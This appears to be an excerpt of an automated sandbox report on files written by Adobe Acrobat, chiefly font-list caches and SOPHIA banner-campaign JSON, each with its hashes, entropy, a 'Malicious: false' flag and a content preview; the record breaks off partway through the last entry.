Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3356

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3356

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331550331777682
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJM3g98kUwPeUkwRe9:YvXKXN2YpW7i5GMbLUkee9
MD5:	A809792355A374B2C25C4F4067242390
SHA1:	45DC7949BE5243BE1031B81162BC3BBEC3E75E2C
SHA-256:	EECC907FC4AB9F7B627A6CDA3980F9E8597DDAAA237CBBE2D5BFE2399F3B91A8
SHA-512:	2F8166F24E993AEB8EB245270597C5051246441588912F871B09B9246373751667FB501B7948B5CC5FAAA5007094A9E3949EAB27254FF2F84032E828F96C82D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272457591875955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJfBoTfXpnrPeUkwRe9:YvXKXN2YpW7i5GWTfXcUkee9
MD5:	DEE172941FFBF8A1EF3EF46D2CE9D4C4
SHA1:	3FD40BB21B242765A65B79446932665B13DEE85A
SHA-256:	D59ED4983FCA562A5EB69299B1F5D6FF90D9CC9035453849AB72BE29F921C896
SHA-512:	484AC717915EEC756DDBC463938326CFD0A886F4770EA530FAB188FF1B68E5E4AF192E44D9E8328D57FF308D5F6B805ED44FDD188394372CCDD75521B8150099
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2516553398451595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJfBD2G6UpnrPeUkwRe9:YvXKXN2YpW7i5GR22cUkee9
MD5:	E896311A185C6809C7916C9A11EB4D75
SHA1:	AAA50BB5A0B258B341808B34ADBB02710BF6D919
SHA-256:	93D537EF23FE8B30AA92511B3F4383ED5D82659191F05125B5AD4023D0DFAD9E
SHA-512:	01374EBC3BA7B8BB5B7302A0B5A079A2B530772446BB987690C18A5C43EB59924B6749CB2376AFCAC0BDF19684414B82C13BE422366CCB7B5F97E312D4FCB13D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.309326961903916
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJfPmwrPeUkwRe9:YvXKXN2YpW7i5GH56Ukee9
MD5:	50681C25607E3736A22FE3BE8C2D0C87
SHA1:	5166A3E4BAF85CF53BB7AD29EC2F458C3E9C4778
SHA-256:	DB41F69A45FEBE00223865F9D1CF7CAAFCBE50CF720C9AB90D0A66D7F19A0C3C
SHA-512:	45B102E6D5E4BB8C1691379176CD07A8E6C4622A14B8A22A793A53560C2AD57539137A9037FC217D60E4C844DC6F4AD6E171FEB9C78C9417BC92F08764255900
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689952148398323
Encrypted:	false
SSDEEP:	24:Yv6XNTiiepLgE9cQx8LennAvzBvkn0RCmK8czOCCS0:Yvmudhgy6SAFv5Ah8cv/0
MD5:	782EA6D5FDBF09DA08E12B1F93B24BB6
SHA1:	9DB725DF3AADD041DEECD34EA51A1CA187E09A61
SHA-256:	D2BE0583ECB7338D652FD555145EF6AE3CE38AABA1E9B6EDCC0DD905E7350555
SHA-512:	E15098F057D0A0CA044457F7586982969AD2AF7F33338E9F1E8A49C588D17F548E1CA98F99699F7A6F5AB939C2B57C6DC09FA4F83EC998BDE7C5B855E768C54F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258785302696385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJf8dPeUkwRe9:YvXKXN2YpW7i5GU8Ukee9
MD5:	BDCDE33CB3FA6BD93694A53FB3C43051
SHA1:	E10F288C521E18914084C552D1BF4833F6D11347
SHA-256:	E99AAE306C382F3BA0A7482152FDB6A7F96FC18ABD9F474BE23C8A2BB56E431B
SHA-512:	0653E1118DF9151435FF2004E414C4F415DE8AE115C84C92F272E623B3225181360E9225AE60D099042B77C6F8619DB255055346B7A3675AA8820C6A9E606D62
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.260472940180611
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJfQ1rPeUkwRe9:YvXKXN2YpW7i5GY16Ukee9
MD5:	FBA1ECF49F34461ECF969320FD9D4CE9
SHA1:	54A757F272820D884C5B22ECAD4DC9FAC93391D4
SHA-256:	4D85CA9FD6B63651857B0F506C06DD770A3E802B69A6BCA59316746D349C2E68
SHA-512:	49EBB5310B6D8A206F7657BAB73ED4DDB8AA9E61F8D599240DB2C2C61D193CDFDE5A8831CDE511CD44C4A9C0A48BA24E99C6E9196D79510592BF6EB1ECF965A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280513019977329
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJfFldPeUkwRe9:YvXKXN2YpW7i5Gz8Ukee9
MD5:	9017A377181D7A27DF45220C7C110FFE
SHA1:	F31419D9B0F960C75F05F0268DD7865A19ED4F5D
SHA-256:	DF0C8294E7788535A3E672A524CF4A12EC8906A74CE5DDDA391D8052D1C239FD
SHA-512:	543B41DCAAC259D47715F98AC4DEF165946F75C5214B5D3FD0A97730C606AF9997BE8F6E165D6D5273F46866ABAC10ACA84F844268BD05A4714E545F0E7B33E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.286043465106961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJfzdPeUkwRe9:YvXKXN2YpW7i5Gb8Ukee9
MD5:	A31DEE54DA30A93BB91F2D7E81C98793
SHA1:	82C35F79623732C6A3D79C42A988A59BEAB8F9F7
SHA-256:	647A04DDA11E0E70BDF59C1A7114536E0B89DA1438B5D7AAFD563CA132A241BE
SHA-512:	426059CD838ACF73C0C023A0A28DB68E9DB38BF357B4D29115B28F0DDC0FB12DE567F4841D18F0AF070588A5DEA46288A84872DAA295F4A67E96FDBCBBDC4C6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.265995439939923
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJfYdPeUkwRe9:YvXKXN2YpW7i5Gg8Ukee9
MD5:	0BBC4B91A4D713920BAB1EC80EFCDE6B
SHA1:	292E75C8DA898652BB0C1C1945991C2EAB8F1046
SHA-256:	AA063462533D18982FDD7FF51E82481006167241493FCD226C83BA2613C835E8
SHA-512:	A75B9F14B0A6D9071605E28228B089BE88C119DD16E0A7AD1670C0CB50E96758BADF38E311F5D2542E4930C6278C50133B09B4B162F323BED37C6A49E6D3E3C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.251447140930753
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJf+dPeUkwRe9:YvXKXN2YpW7i5G28Ukee9
MD5:	B89D977B05DFB5A90607BF6B74A00331
SHA1:	BE5F7E2696C01944BF7CBFFC782A8C28EA54F99E
SHA-256:	807D49A4E11CD64CB9D348710D7637A75D8ADD832F9BF0FDF517C0152262DD0E
SHA-512:	C4C605EC7DA10F45C9D4587040B35305DF822A46C2FEB77347986C122AFA927AECF8978F61F33DBDD2E66B626A5AB4399802DAD336173623A1BF4A05A858BD26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.249776245930351
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJfbPtdPeUkwRe9:YvXKXN2YpW7i5GDV8Ukee9
MD5:	1B14A03E27570A705B37EFF7D857DF16
SHA1:	5910501C3F82010ECAD2B7AAE467535C43F57F72
SHA-256:	FF54A734662573D2DA7909A724EA4B225C670F495857D2B322C6665E9250A525
SHA-512:	2A583EC3FB10B2A0FEA07E58589C2D585101AF6FC563C8436AA07618A3732981AB3A51C64B4C6DC2B5B6FA68AF84445BFDB72E58579AAFB4C92C36CA86ABF525
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.250978791321812
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJf21rPeUkwRe9:YvXKXN2YpW7i5G+16Ukee9
MD5:	E4E0786DF22450EE2F7288970F2E2B4A
SHA1:	E1E97642633DC98A049FA1EB524EA8B7C37CF862
SHA-256:	0B8F99F9697388009860DFADDE2AD001AA4D5EB2ABC39BFC8ECC80FB8C64F3B8
SHA-512:	43A5E8127CB2C925C1F87894873C3E898379AEB570BC6E74A2E35FB2BA842ABA24EA2BC8D1A1A5BEB2990538BAE4515A6CEFEC026F0000A6BC59C2CE7DBFC95D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659202850157686
Encrypted:	false
SSDEEP:	24:Yv6XNTiiCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS0:YvmuZBgkDMUJUAh8cvM0
MD5:	A7434B56BB93CB0064DF7CD12FD9B570
SHA1:	E810F59F9B664647C119DD540E0DC69FD188CDBC
SHA-256:	DF17EF1EA398CD9163F1D871E08D7F1079D1DD613CF2D17CD9ABD9F1E9365F83
SHA-512:	F821704953A852714E5346BCDF39143D049F7A2A6E16CE53601EC8BCE7E28FDA52D545AC2CE573C9DB6BDFEDB3D246788C186CE80A5F32987076D237DBDE8DF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.227467671547658
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJfshHHrPeUkwRe9:YvXKXN2YpW7i5GUUUkee9
